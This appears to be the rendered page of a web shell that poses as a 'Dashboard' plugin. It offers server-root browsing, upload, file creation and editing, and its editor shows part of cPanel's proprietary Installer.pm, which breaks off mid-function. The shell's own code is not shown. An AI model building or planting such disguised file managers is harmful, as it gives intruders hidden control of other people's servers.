{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-20 11:59:07"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fcpanel_installer">cpanel_installer</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fcpanel_installer" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: Installer.pm</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/cpanel_installer/Installer.pm">
                    <textarea name="edit_content">package Installer;

#                                      Copyright 2024 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

use strict;
use warnings;

use Getopt::Long ();
use POSIX        ();
use Errno        qw(EAGAIN);

use CpanelLogger;

use Common       ();
use CpanelGPG    ();
use CpanelConfig ();
use OSDetect     ();

use InstallerRhel   ();
use InstallerUbuntu ();

use constant LOCK_FILE                        =&gt; &#039;/root/installer.lock&#039;;
use constant PRODUCT_DNSONLY                  =&gt; 1 &lt;&lt; 6;
use constant PRODUCT_WP2                      =&gt; 1 &lt;&lt; 20;
use constant MINIMUM_CPANEL_VERSION_SUPPORTED =&gt; 117;                      # TODO Kill/Update InstallerUbuntu::CPANEL_UBUNTU_SUPPORT entries and MINIMUM_CUSTOM_OS_VERSION once this LTS bumps.

# CloudLinux 6 and CentOS/CloudLinux 7 support are removed starting with 112.
use constant OS_MAXIMUM_VERSIONS =&gt; {
    &#039;centos6&#039;  =&gt; 110,
    &#039;centos7&#039;  =&gt; 110,
    &#039;ubuntu20&#039; =&gt; 118,
};

use constant NO_REBOOT_TOUCH_FILE =&gt; &#039;/etc/no-reboot-after-installation&#039;;

sub new {
    my $common_class = -e &#039;/etc/debian_version&#039; ? &#039;InstallerUbuntu&#039; :    #
      -e &#039;/etc/redhat-release&#039; ? &#039;InstallerRhel&#039; :                       #
      die(&quot;Unknown distro&quot;);

    my $self = bless {}, $common_class;

    return $self;
}

sub setup {
    my ( $self, @args ) = @_;

    if ( $] &lt; 5.010 ) {
        print &quot;This installer requires Perl 5.10.0 or better.\n&quot;;
        die &quot;Cannot continue.\n&quot;;
    }

    $self-&gt;{&#039;parent_proc&#039;} = $$;

    $self-&gt;set_globals;

    $self-&gt;{&#039;install_start&#039;} = CpanelLogger::open_logs();

    $self-&gt;parse_argv(@args);

    $self-&gt;get_script_lock;
    $self-&gt;detect_distro;

    return;
}

sub set_globals {
    $ENV{&#039;CPANEL_BASE_INSTALL&#039;}                         = 1;
    @ENV{qw{LANG LANGUAGE LC_ALL LC_MESSAGES LC_CTYPE}} = qw{C C C C C};
    $ENV{&#039;DEBIAN_FRONTEND&#039;}                             = &#039;noninteractive&#039;;

    delete $ENV{&#039;LANGUAGE&#039;};

    $| = 1;    ## no critic qw(RequireLocalizedPunctuationVars)
    umask 022;

    return;
}

sub force                 { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;force&#039;} }
sub skip_apache           { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip_apache&#039;} }
sub skip_repo_setup       { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip_repo_setup&#039;} }
sub skip_license_check    { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip_license_check&#039;} }
sub skip_cloudlinux       { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip-cloudlinux&#039;} }
sub skip_imunifyav        { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip-imunifyav&#039;} }
sub skip_imunify360       { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip-imunify360&#039;} }
sub skip_wptoolkit        { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;skip-wptoolkit&#039;} }
sub stop_at_update_now    { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;stop_at_update_now&#039;} }
sub stop_after_update_now { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;stop_after_update_now&#039;} }
sub no_reboot             { return shift-&gt;{&#039;options&#039;}-&gt;{&#039;no-reboot&#039;} }
sub install_start         { return shift-&gt;{&#039;install_start&#039;} }

sub parse_argv {
    my ( $self, @args ) = @_;

    DEBUG(&quot;Parsing command line arguments.&quot;);

    # Defaults. Look for touch files.
    $self-&gt;{options} = {
        &#039;force&#039;                 =&gt; 0,
        &#039;skip-cloudlinux&#039;       =&gt; 0,
        &#039;skip-imunifyav&#039;        =&gt; 0,
        &#039;skip-imunify360&#039;       =&gt; 0,
        &#039;skip-wptoolkit&#039;        =&gt; 0,
        &#039;skip_apache&#039;           =&gt; -e &#039;/root/skipapache&#039; ? 1 : 0,
        &#039;skip_repo_setup&#039;       =&gt; 0,
        &#039;skip_license_check&#039;    =&gt; 0,
        &#039;stop_at_update_now&#039;    =&gt; 0,
        &#039;stop_after_update_now&#039; =&gt; 0,
        &#039;experimental-os&#039;       =&gt; undef,
        &#039;source&#039;                =&gt; undef,
        &#039;tier&#039;                  =&gt; undef,
        &#039;myip&#039;                  =&gt; undef,
        &#039;no-reboot&#039;             =&gt; -e &#039;/etc/no-reboot-after-installation&#039; ? 1 : 0,
    };

    # Parse args.
    Getopt::Long::GetOptionsFromArray(
        \@args,
        &#039;force&#039;                               =&gt; \$self-&gt;{options}-&gt;{&#039;force&#039;},
        &#039;skip-cloudlinux&#039;                     =&gt; \$self-&gt;{options}-&gt;{&#039;skip-cloudlinux&#039;},
        &#039;skip-imunifyav&#039;                      =&gt; \$self-&gt;{options}-&gt;{&#039;skip-imunifyav&#039;},
        &#039;skip-imunify360&#039;                     =&gt; \$self-&gt;{options}-&gt;{&#039;skip-imunify360&#039;},
        &#039;skip-wptoolkit&#039;                      =&gt; \$self-&gt;{options}-&gt;{&#039;skip-wptoolkit&#039;},
        &#039;skipapache|skip-apache&#039;              =&gt; \$self-&gt;{options}-&gt;{&#039;skip_apache&#039;},
        &#039;skipreposetup|skip-repo-setup&#039;       =&gt; \$self-&gt;{options}-&gt;{&#039;skip_repo_setup&#039;},
        &#039;skiplicensecheck|skip-license-check&#039; =&gt; \$self-&gt;{options}-&gt;{&#039;skip_license_check&#039;},
        &#039;stop_at_update_now&#039;                  =&gt; \$self-&gt;{options}-&gt;{&#039;stop_at_update_now&#039;},
        &#039;stop_after_update_now&#039;               =&gt; \$self-&gt;{options}-&gt;{&#039;stop_after_update_now&#039;},
        &#039;experimental-os=s&#039;                   =&gt; \$self-&gt;{options}-&gt;{&#039;experimental-os&#039;},
        &#039;source=s&#039;                            =&gt; \$self-&gt;{options}-&gt;{&#039;source&#039;},
        &#039;tier=s&#039;                              =&gt; \$self-&gt;{options}-&gt;{&#039;tier&#039;},
        &#039;myip=s&#039;                              =&gt; \$self-&gt;{options}-&gt;{&#039;myip&#039;},
        &#039;no-reboot&#039;                           =&gt; \$self-&gt;{options}-&gt;{&#039;no-reboot&#039;},

        &#039;skip-all-imunify&#039; =&gt; sub {
            $self-&gt;{options}-&gt;{&#039;skip-imunifyav&#039;} = $self-&gt;{options}-&gt;{&#039;skip-imunify360&#039;} = 1;
        },
    );

    # We must *search* for args unprefixed with -- here for product type
    # &quot;because that&#039;s the way it&#039;s always been passed in&quot; unfortunately.
    # Would have been simpler as a grep, but we only want to take &quot;something
    # valid looking&quot; beginning at index -1.
    my $type = &#039;standard&#039;;
    foreach my $arg ( reverse @args ) {
        if ( grep { $_ eq $arg } qw{standard dnsonly wp2} ) {
            $type = $arg;
            last;
        }
    }

    # Set product, tier and source for install in CpanelConfig
    CpanelConfig::product($type);
    CpanelConfig::tier( $self-&gt;{options}{tier} )     if $self-&gt;{options}{tier};
    CpanelConfig::source( $self-&gt;{options}{source} ) if $self-&gt;{options}{source};
    CpanelConfig::myip_url( $self-&gt;{options}{myip} ) if $self-&gt;{options}{myip};

    $type =~ s/wp2/WP Squared/;
    INFO(&quot;Install type: $type\n&quot;);

    $self-&gt;create_touch_files;

    return;
}

*is_wp2     = \&amp;CpanelConfig::is_wp2;
*is_dnsonly = \&amp;CpanelConfig::is_dnsonly;

sub distro_type  { die &#039;unimplemented&#039; }
sub distro_name  { return shift-&gt;{&#039;os&#039;}-&gt;{&#039;distro&#039;} || die }    # Should always be populated on call.
sub distro_major { return shift-&gt;{&#039;os&#039;}-&gt;{&#039;major&#039;}  || die }    # Should always be populated on call.

sub product_name {
    my %display_name_map = (
        &#039;dnsonly&#039;  =&gt; &#039;DNSONLY&#039;,
        &#039;wp2&#039;      =&gt; &#039;WP Squared&#039;,
        &#039;standard&#039; =&gt; &#039;cPanel &amp; WHM&#039;,
    );
    return $display_name_map{ CpanelConfig::product() };
}

sub distro_minor {
    my $minor = shift-&gt;{&#039;os&#039;}-&gt;{&#039;minor&#039;};
    die q[minor version not defined] unless defined $minor;
    return $minor;
}

sub detect_distro {
    my ($self) = @_;
    my @os_info = OSDetect::get_os_info();

    $self-&gt;{&#039;os&#039;}-&gt;{&#039;kernel&#039;} = shift @os_info;
    $self-&gt;{&#039;os&#039;}-&gt;{&#039;distro&#039;} = shift @os_info;
    $self-&gt;{&#039;os&#039;}-&gt;{&#039;major&#039;}  = shift @os_info;
    $self-&gt;{&#039;os&#039;}-&gt;{&#039;minor&#039;}  = shift @os_info;

    return;
}

sub cpanel_version {
    my ($self) = @_;

    return $self-&gt;{&#039;cpanel_version&#039;} if $self-&gt;{&#039;cpanel_version&#039;};

    my $v = CpanelConfig::get_cpanel_version();
    INFO(&quot;Using version &#039;$v&#039;&quot;);

    return $self-&gt;{&#039;cpanel_version&#039;} = $v;
}

sub lts_version {
    my ($self) = @_;

    return $self-&gt;{&#039;lts_version&#039;} if $self-&gt;{&#039;lts_version&#039;};

    my $v = $self-&gt;cpanel_version;
    return $self-&gt;{&#039;lts_version&#039;} = CpanelConfig::get_lts_version($v);
}

sub create_touch_files {
    my ($self) = @_;

    ensure_var_cpanel();

    if ( $self-&gt;is_dnsonly ) {
        INFO(&quot;cPanel DNSONLY installation requested.&quot;);
        FATAL(&quot;Existing cPanel license file detected! Aborting DNSONLY installation.&quot;) if -s &#039;/usr/local/cpanel/cpanel.lisc&#039;;
        $self-&gt;touch(&#039;/var/cpanel/dnsonly&#039;);
        $self-&gt;touch(&#039;/var/cpanel/noimunifyav&#039;);
        $self-&gt;touch(&#039;/var/cpanel/nowptoolkit&#039;);
    }
    else {
        unlink &#039;/var/cpanel/dnsonly&#039;;    # Just in case the customer ran with the wrong args previously.
    }

    if ( $self-&gt;is_wp2 ) {
        INFO( &quot;Setting up a &quot; . $self-&gt;product_name . &quot; installation&quot; );
    }

    if ( $self-&gt;skip_cloudlinux ) {
        INFO(&quot;Skip cloudlinux installation requested.&quot;);
        $self-&gt;touch(&#039;/var/cpanel/nocloudlinux&#039;);
    }

    if ( $self-&gt;skip_imunifyav ) {
        INFO(&quot;Skip imunifyav installation requested.&quot;);
        $self-&gt;touch(&#039;/var/cpanel/noimunifyav&#039;);
    }

    if ( $self-&gt;skip_imunify360 ) {
        INFO(&quot;Skip imunify360 installation requested.&quot;);
        $self-&gt;touch(&#039;/var/cpanel/noimunify360&#039;);
    }

    if ( $self-&gt;skip_wptoolkit ) {
        INFO(&quot;Skip WordPress Toolkit installation requested.&quot;);
        $self-&gt;touch(&#039;/var/cpanel/nowptoolkit&#039;);
    }

    if ( $self-&gt;no_reboot ) {
        INFO(&quot;Automatic reboot disabled as requested.&quot;);
        $self-&gt;touch(NO_REBOOT_TOUCH_FILE);
    }

    # --experimental-os=almalinux-9.0
    $self-&gt;setup_experimental_os( $self-&gt;{options}-&gt;{&#039;experimental-os&#039;} );

    return;
}

# The customer ran latest --experimental-os=centos-7.2
sub setup_experimental_os {
    my ( $self, $settings ) = @_;

    defined $settings or return;    # Didn&#039;t pass this option on command line.

    my @os_info = $settings =~ m{^([^-]+)-([0-9]+)\.([0-9]+)}    #
      or die(&quot;Unrecognized --experimental-os option. Try: --experimental-os=almalinux-9.0&quot;);
    unshift @os_info, $^O;
    push @os_info, &#039;2020&#039;;                                       # An arbitrary build ID we&#039;re going to push on the end for consistency.

    my ( $os, $distro, $major, $minor, $build ) = @os_info;

    if ( $distro &amp;&amp; $distro eq &#039;cloudlinux&#039; ) {
        FATAL(&quot;Using --experimental-os is not permitted for CloudLinux.&quot;);
    }

    mkdir &#039;/var/cpanel/caches&#039;, 0711;

    OSDetect::clear( custom =&gt; 1 );

    WARN(&lt;&lt;&quot;EOS&quot;);
--experimental-os=$settings was successful.
You are currently installing cPanel &amp; WHM on an unsupported distribution.
We discourage you from using this server for production purposes.
EOS

    # Write out the cache file.
    local $!;
    symlink &quot;$os|$distro|$major|$minor|$build&quot;, OSDetect::CACHE_FILE;

    # Write out the lock file to prevent the cache from being updated going forward.
    symlink &quot;1&quot;, OSDetect::CACHE_FILE_CUSTOM;

    return;
}

sub get_script_lock {
    my ($self) = @_;

    if ( open my $fh, &#039;&lt;&#039;, LOCK_FILE ) {
        print &quot;The system detected an installer lock file: (&quot; . LOCK_FILE . &quot;)\n&quot;;
        print &quot;Make certain that an installer is not already running.\n\n&quot;;
        print &quot;You can remove this file and re-run the cPanel installation process after you are certain that another installation is not already in progress.\n\n&quot;;
        my $pid = &lt;$fh&gt;;
        if ($pid) {
            chomp $pid;
            print `ps auxwww |grep $pid`;    ## no critic(ProhibitQxAndBackticks)
        }
        else {
            print &quot;Warning: The system could not find pid information in the &quot; . LOCK_FILE . &quot; file.\n&quot;;
        }
        return 1;
    }

    # Create the lock file.
    if ( open my $fh, &#039;&gt;&#039;, LOCK_FILE ) {
        print {$fh} &quot;$$\n&quot;;

        close $fh;
    }
    else {
        FATAL( &quot;Unable to write lock file &quot; . LOCK_FILE );

        return 1;
    }

    $self-&gt;{&#039;original_pid&#039;} = $$;

    return;
}

sub check_system_support {
    my ($self) = @_;

    $self-&gt;invalid_system( &quot;Unsupported kernel (&quot; . $self-&gt;{&#039;os&#039;}-&gt;{&#039;kernel&#039;} . &quot;) for operating system&quot; ) if $self-&gt;{&#039;os&#039;}-&gt;{&#039;kernel&#039;} ne &#039;linux&#039;;

    if ( $self-&gt;distro_major == 7 &amp;&amp; !$self-&gt;force ) {
        $self-&gt;invalid_system( &quot;Unsupported operating system (&quot; . $self-&gt;{&#039;os&#039;}-&gt;{&#039;distro&#039;} . &quot; &quot; . $self-&gt;{&#039;os&#039;}-&gt;{&#039;major&#039;} . &quot;)&quot; );
    }

    my @uname = POSIX::uname();
    if ( $uname[4] ne &#039;x86_64&#039; ) {
        $self-&gt;invalid_system(&quot;cPanel &amp; WHM supports 64-bit versions (not $uname[4]) only.&quot;);
    }

    INFO(&quot;Checking RAM now...&quot;);
    my $total_memory = $self-&gt;get_total_memory();
    my $minmemory    = 2_048;

    if ( $total_memory &lt; $minmemory ) {
        ERROR(&quot;cPanel &amp; WHM requires a minimum of $minmemory MB of available RAM for your operating system. Your system only has $total_memory MB available. We recommend that you increase the total RAM on your system.&quot;);
        FATAL(&quot;Increase the server&#039;s total amount of RAM, and then reinstall cPanel &amp; WHM.&quot;);
    }
    return;
}

sub get_kexec_crash_size {
    my ($self) = @_;

    my $file = &#039;/sys/kernel/kexec_crash_size&#039;;
    my $size = 0;

    if ( -s $file &amp;&amp; open( my $fh, &quot;&lt;&quot;, $file, ) ) {
        $size += &lt;$fh&gt;;
        close($fh);
    }
    else {
        WARN(&quot;The installer could not read the file $file. Please ensure that the file exists and that you have the correct permissions.&quot;);
    }

    if ($size) {
        WARN(
            &#039;The installer has detected that kernel crash dumping is configured on your system. This means that a portion of system memory is permanently reserved for a capture kernel and is inaccessible to the main kernel. If you encounter memory-related issues during or after installation, they may be resolved by reducing or altogether removing the crashkernel boot loader configuration option.&#039;
        );
    }

    return $size;
}

sub get_total_memory {
    my ($self) = @_;

    # Tests on different architectures show that 15% is safe.
    # This tolerance is expanded to 25% in instances where kdump is active in order to accommodate hyperscalers.
    my $tolerance_factor = $self-&gt;get_kexec_crash_size() ? 1.25 : 1.15;

    # MemTotal: Total usable ram (i.e. physical ram minus a few reserved
    #          bits and the kernel binary code)
    # note, another option would be to use &quot;dmidecode --type 17&quot;, or dmesg
    #   but this will require an additional RPM
    #   we just want to be sure that a customer does not install
    #   with 512 when 700 or more is required
    my $meminfo = q{/proc/meminfo};
    if ( open( my $fh, &quot;&lt;&quot;, $meminfo ) ) {
        while ( my $line = readline $fh ) {
            if ( $line =~ m{^MemTotal:\s+([0-9]+)\s*kB}i ) {
                return int( int( $1 / 1_024 ) * $tolerance_factor );
            }
        }
    }

    return 0;    # something is wrong
}

sub invalid_system {
    my ( $self, $message ) = @_;
    $message ||= &#039;&#039;;
    chomp $message;

    ERROR($message);
    ERROR(&#039;cPanel &amp; WHM does not support the version of the Linux distribution you are running. You will need to install on one of the supported versions of a Linux distribution listed at https://go.cpanel.net/supported-os&#039;);
    FATAL(&#039;Please reinstall cPanel &amp; WHM from a valid distribution.&#039;);
    return;
}

sub clean_install_check {

    INFO(&#039;Checking for any control panels...&#039;);
    my @server_detected;
    push @server_detected, &#039;DirectAdmin&#039; if ( -e &#039;/usr/local/directadmin&#039; );
    push @server_detected, &#039;Plesk&#039;       if ( -e &#039;/etc/psa&#039; );
    push @server_detected, &#039;Ensim&#039;       if ( -e &#039;/etc/appliance&#039; || -d &#039;/etc/virtualhosting&#039; );

    #push @server_detected, &#039;Alabanza&#039;    if ( -e &#039;/etc/mail/mailertable&#039; );
    push @server_detected, &#039;Zervex&#039;              if ( -e &#039;/var/db/dsm&#039; );
    push @server_detected, &#039;Web Server Director&#039; if ( -e &#039;/bin/rpm&#039; &amp;&amp; `/bin/rpm -q ServerDirector` =~ /^ServerDirector/ms );    ## no critic(ProhibitQxAndBackticks)

    # Don&#039;t just check for /usr/local/cpanel, as some people will have created
    # that directory as a mount point for the install.
    push @server_detected, &#039;cPanel &amp; WHM&#039; if -e &#039;/usr/local/cpanel/cpkeyclt&#039;;

    return if ( !@server_detected );

    ERROR(&quot;The installation process found evidence that the following control panels were installed on this server:&quot;);
    ERROR($_) foreach (@server_detected);
    FATAL(&#039;You must install cPanel &amp; WHM on a clean server.&#039;);
    return;
}

sub check_system_files {
    INFO(&quot;Checking for essential system files...&quot;);

    unless ( -f &#039;/etc/fstab&#039; ) {
        ERROR(&quot;Your system is missing the file /etc/fstab.  This is an&quot;);
        ERROR(&quot;essential system file that is part of the base system.&quot;);
        FATAL(&quot;Please ensure the system has been properly installed.&quot;);
    }

    setup_empty_directories();

    setup_custom_cpanel_config();

    assure_nobody();

    return;
}

# Place customer provided cpanel.config in place early in case we need to block on any of the settings.
sub setup_custom_cpanel_config {
    my $custom_cpanel_config_file = &#039;/root/cpanel_profile/cpanel.config&#039;;
    if ( -e $custom_cpanel_config_file ) {
        INFO(&quot;The system is placing the custom cpanel.config file from $custom_cpanel_config_file.&quot;);
        unlink &#039;/var/cpanel/cpanel.config&#039;;
        system( &#039;/bin/cp&#039;, $custom_cpanel_config_file, &#039;/var/cpanel/cpanel.config&#039; );
    }
    return;
}

# mkdir some directories.
sub setup_empty_directories {
    INFO(&#039;The installation process will now set up the necessary empty cpanel directories.&#039;);

    ensure_var_cpanel();

    foreach my $dir (qw{/usr/local/cpanel /usr/local/cpanel/base /usr/local/cpanel/base/frontend /usr/local/cpanel/logs /var/cpanel/tmp /var/cpanel/version /var/cpanel/perl /var/named}) {
        unlink $dir if ( -f $dir || -l $dir );

        if ( !-d $dir ) {
            DEBUG(&quot;mkdir $dir&quot;);
            mkdir( $dir, 0755 );
        }
    }

    foreach my $dir (qw{/var/cpanel/logs}) {
        unlink $dir if ( -f $dir || -l $dir );

        if ( !-d $dir ) {
            DEBUG(&quot;mkdir $dir&quot;);
            mkdir( $dir, 0700 );
        }
    }

    ensure_feature_showcase_dir();

    return;
}

sub ensure_var_cpanel {

    my $dir   = &#039;/var/cpanel&#039;;
    my $perms = 0711;

    if ( -f $dir || -l $dir ) {
        unlink $dir or FATAL(&quot;Fail to remove existing file $dir (should be a directory) $!&quot;);
    }

    if ( !-d $dir ) {
        mkdir $dir, $perms;
    }
    else {
        chown 0, 0, $dir;
        chmod $perms, $dir;
    }

    return;
}

sub ensure_feature_showcase_dir {

    foreach my $dir (qw{ /var/cpanel/activate /var/cpanel/activate/features }) {
        my $perms = 0700;

        if ( -f $dir || -l $dir ) {
            unlink $dir or FATAL(&quot;Fail to remove existing file $dir (should be a directory) $!&quot;);
        }

        if ( !-d $dir ) {
            mkdir $dir, $perms;
        }

        Common::ssystem( &#039;chown&#039;, &#039;-R&#039;, &#039;root:root&#039;, $dir );
        Common::ssystem( &#039;chmod&#039;, &#039;-R&#039;, &#039;0700&#039;,      $dir );
    }

    return;
}

sub disable_systemd_resolved_if_enabled { return }    # Only run on ubuntu systems.

sub setup_and_check_resolv_conf {

    # Remote resolvers are required, since we remove local BIND during installation.
    open my $resolv_conf_fh, &#039;&lt;&#039;, &#039;/etc/resolv.conf&#039; or FATAL(&quot;Could not open /etc/resolv.conf: $!&quot;);

    if ( !grep { m/^\s*nameserver\s+/ &amp;&amp; !m/\s+127.0.0.1$/ } &lt;$resolv_conf_fh&gt; ) {
        FATAL(&quot;/etc/resolv.conf must be configured with non-local resolvers for installations to complete.&quot;);
    }

    INFO(&quot;Validating whether the system can look up domains...&quot;);
    my @domains = qw(
      httpupdate.cpanel.net
      securedownloads.cpanel.net
    );

    foreach my $domain (@domains) {
        DEBUG(&quot;Testing $domain...&quot;);
        next if ( gethostbyname($domain) );
        ERROR( &#039;!&#039; x 105 . &quot;\n&quot; );
        ERROR(&quot;The system cannot resolve the $domain domain. Check the /etc/resolv.conf file. The system has terminated the installation process.\n&quot;);
        FATAL( &#039;!&#039; x 105 . &quot;\n&quot; );
    }
    return;
}

sub ensure_pkgs_installed {
    my ($self) = @_;

    my $pid = $self-&gt;run_in_background( sub { $self-&gt;install_basic_precursor_packages } );

    # While the ensure is running in the background
    # we show the message warning that they need a clean
    # server
    local $SIG{&#039;INT&#039;} = sub {
        kill( &#039;TERM&#039;, $pid );
        WARN(&quot;Install terminated by user input&quot;);
        exit(0);    ## no critic qw(NoExitsFromSubroutines)
    };

    $self-&gt;preflight_warnings;
    local $?;
    waitpid( $pid, 0 );
    if ( $? != 0 ) {
        FATAL(&quot;ensure_pkgs_install failed: $?&quot;);
    }

    return;
}

sub preflight_warnings {
    my ($self) = @_;
    INFO(&quot;&quot;);
    INFO(&quot;cPanel Layer 1 Installer Starting...&quot;);
    INFO(&quot;&quot;);
    INFO(&quot;Warning  !!!  Warning  !!!  WARNING  !!!  Warning  !!!  Warning&quot;);
    INFO(&quot;---------------------------------------------------------------&quot;);
    INFO(&quot;&quot;);
    INFO(&quot;This installer will overwrite all of your configuration files.&quot;);
    INFO(&quot;&quot;);
    INFO(&quot;    If this is not a fresh/clean server, hit Ctrl+C NOW to&quot;);
    INFO(&quot;    avoid losing data.&quot;);
    INFO(&quot;&quot;);
    INFO(&quot;&quot;);

    # WP2 install is the only place that&#039;s currently using this reboot
    # logic, so let&#039;s skip the scary warning for everyone else
    if ( $self-&gt;is_wp2 &amp;&amp; !-e NO_REBOOT_TOUCH_FILE ) {
        INFO(&quot;This installer will reboot the system under certain conditions.&quot;);
        INFO(&quot;&quot;);
        INFO(&quot;    To prevent an automatic reboot, place a touch file at:&quot;);
        INFO( &quot;        &quot; . NO_REBOOT_TOUCH_FILE );
        INFO(&quot;    before the installer completes, or restart the installer&quot;);
        INFO(&quot;    with the --no-reboot argument.&quot;);
        INFO(&quot;&quot;);
        INFO(&quot;&quot;);
    }
    INFO(&quot;---------------------------------------------------------------&quot;);
    INFO(&quot;Warning  !!!  Warning  !!!  WARNING  !!!  Warning  !!!  Warning&quot;);
    INFO(&quot;&quot;);
    INFO(&quot;Waiting 10 seconds&quot;);
    $self-&gt;_pause_for_ten_seconds();

    return;
}

sub _pause_for_ten_seconds {
    for ( 1 .. 10 ) { print &#039;.&#039;; sleep(1); }
    print &quot;\n&quot;;
    return;
}

sub run_in_background {
    my ( $self, $sub ) = @_;

  FORK: {
        my $pid = fork;
        return $pid if $pid;    # Parent.

        if ( !defined $pid ) {  # Still the parent but fork didn&#039;t work!
            if ( $! == EAGAIN ) {

                # EAGAIN is the supposedly recoverable fork error
                WARN(&quot;Fork failed! Trying again.&quot;);
                sleep 5;
                redo FORK;
            }
            else {
                # weird fork error
                FATAL(&quot;Can&#039;t fork: $!\n&quot;);
            }
        }
    }

    begin_collect_output();

    local $@;
    eval { $sub-&gt;(); };

    emit_collected_output();
    die if $@;

    exit(0);
}

sub update_system_clock {
    my ($self) = @_;

    my @date_cmd;
    my $binary_name;
    if ( $self-&gt;distro_type eq &#039;rhel&#039; &amp;&amp; $self-&gt;distro_major &gt;= 8 ) {    # only rhel 8 doesn&#039;t provide rdate!
        $binary_name = &#039;chronyc&#039;;
        @date_cmd    = -x &#039;/bin/chronyc&#039; ? ( &#039;/bin/chronyc&#039;, &#039;makestep&#039; ) : ();
    }
    else {
        $binary_name = &#039;rdate&#039;;
        foreach my $bin (qw { /usr/sbin/rdate /usr/bin/rdate /bin/rdate }) {
            next unless -x $bin;
            @date_cmd = ( $bin, &#039;-s&#039;, &#039;rdate.cpanel.net&#039; );
            last;
        }
    }

    # Complain if we don&#039;t have an rdate binary.
    if ( !@date_cmd ) {
        ERROR(&quot;The system could not set the system clock because the $binary_name binary is missing.&quot;);
        return;
    }

    # Set the clock
    my $was = time();
    Common::ssystem(@date_cmd);
    my $now = time();
    INFO( &quot;The system set the clock to: &quot; . localtime($now) );
    my $change = $now - $was;

    # Adjust the start time if it shifted more than 10 seconds.
